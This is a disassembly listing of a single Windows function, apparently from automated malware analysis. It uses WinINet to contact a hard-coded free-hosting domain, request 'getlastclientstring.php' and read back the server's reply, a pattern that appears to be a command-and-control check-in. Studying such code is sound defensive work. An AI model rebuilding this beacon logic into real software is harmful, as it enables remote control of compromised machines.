Function at 0x4023ff
Capabilities:
Connect to http server
Read data from internet
Receive data
Send data
Send http request

Disassembly:
push rbp
mov rbp, rsp
add rsp, 0xffffffffffffff80
mov qword [rbp + 0x10], rcx
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 3
lea rax, [0x0040715a]
mov qword [rsp + 0x20], rax
lea r9, [0x0040715a]
mov r8d, 0x50
lea rdx, str.edwinastronomysecurity.000webhostapp.com
mov rcx, qword [rbp + 0x10]
mov rax, qword [sym.imp.WININET.dll_InternetConnectA]
call rax
mov qword [rbp - 0x18], rax
cmp qword [rbp - 0x18], 0
jne 0x402485
mov rax, qword [sym.imp.KERNEL32.DLL_GetLastError]
call rax
mov r8d, eax
lea rdx, str.InternetConnectA_error_:___lu__n
lea rcx, str.InternetConnectA
call sym.MesssgeFormat
mov eax, 0
jmp 0x4026c9
mov rax, qword [rbp - 0x18]
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0x84000100
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0
lea r8, str.getlastclientstring.php
lea rdx, [0x00407219]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_HttpOpenRequestA]
call rax
mov qword [rbp - 0x20], rax
cmp qword [rbp - 0x20], 0
jne 0x402550
mov rax, qword [sym.imp.KERNEL32.DLL_GetLastError]
call rax
mov r8d, eax
lea rdx, str.HttpOpenRequestA_error_:___lu__n
lea rcx, str.HttpOpenRequestA
call sym.MesssgeFormat
mov eax, 0
jmp 0x4026c9
mov rax, qword [sym.imp.KERNEL32.DLL_GetLastError]
call rax
mov r8d, eax
lea rdx, str.HttpSendRequest_error_:___lu__n
lea rcx, str.HttpSendRequest
call sym.MesssgeFormat
mov rax, qword [sym.imp.USER32.dll_GetDesktopWindow]
call rax
mov rcx, rax
mov rax, qword [rbp - 0x20]
mov qword [rsp + 0x20], 0
mov r9d, 7
mov r8d, 0x2f0c
mov rdx, rax
mov rax, qword [sym.imp.WININET.dll_InternetErrorDlg]
call rax
mov rax, qword [rbp - 0x20]
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_HttpSendRequestA]
call rax
test eax, eax
je 0x402500
mov dword [rbp - 0x24], 0x200
mov eax, dword [rbp - 0x24]
add eax, 2
mov eax, eax
mov rcx, rax
call sym.malloc
mov qword [rbp - 0x30], rax
mov qword [rbp - 8], 0
mov qword [rbp - 0x38], 0
mov dword [rbp - 0xc], 0
mov eax, dword [rbp - 0x24]
lea r8d, [rax + 1]
lea rcx, [rbp - 0x40]
mov rdx, qword [rbp - 0x30]
mov rax, qword [rbp - 0x20]
mov r9, rcx
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetReadFile]
call rax
mov dword [rbp - 0x3c], eax
mov eax, dword [rbp - 0x40]
test eax, eax
jne 0x402610
mov rax, qword [rbp - 0x30]
mov rcx, rax
call sym.free
mov rax, qword [rbp - 0x20]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rax
mov rax, qword [rbp - 0x18]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rax
mov rax, qword [rbp - 8]
jmp 0x4026c9
cmp dword [rbp - 0x3c], 0
jne 0x40263a
mov rax, qword [sym.imp.KERNEL32.DLL_GetLastError]
call rax
mov r8d, eax
lea rdx, str.InternetReadFile_error_:___lu__n
lea rcx, str.InternetReadFile
call sym.MesssgeFormat
jmp 0x4025af
mov eax, dword [rbp - 0x40]
mov edx, eax
mov rax, qword [rbp - 0x30]
add rax, rdx
mov byte [rax], 0
mov edx, dword [rbp - 0xc]
mov eax, dword [rbp - 0x40]
add eax, edx
add eax, 1
mov eax, eax
mov rcx, rax
call sym.malloc
mov qword [rbp - 0x38], rax
cmp qword [rbp - 8], 0
je 0x4026a1
mov rdx, qword [rbp - 8]
mov rax, qword [rbp - 0x38]
mov rcx, rax
call sym.strcpy
mov eax, dword [rbp - 0xc]
movsxd rdx, eax
mov rax, qword [rbp - 0x38]
lea rcx, [rdx + rax]
mov rax, qword [rbp - 0x30]
mov rdx, rax
call sym.strcpy
mov rax, qword [rbp - 8]
mov rcx, rax
call sym.free
jmp 0x4026b1
mov rdx, qword [rbp - 0x30]
mov rax, qword [rbp - 0x38]
mov rcx, rax
call sym.strcpy
mov rax, qword [rbp - 0x38]
mov qword [rbp - 8], rax
mov edx, dword [rbp - 0xc]
mov eax, dword [rbp - 0x40]
add eax, edx
mov dword [rbp - 0xc], eax
jmp 0x4025af
sub rsp, 0xffffffffffffff80
pop rbp
ret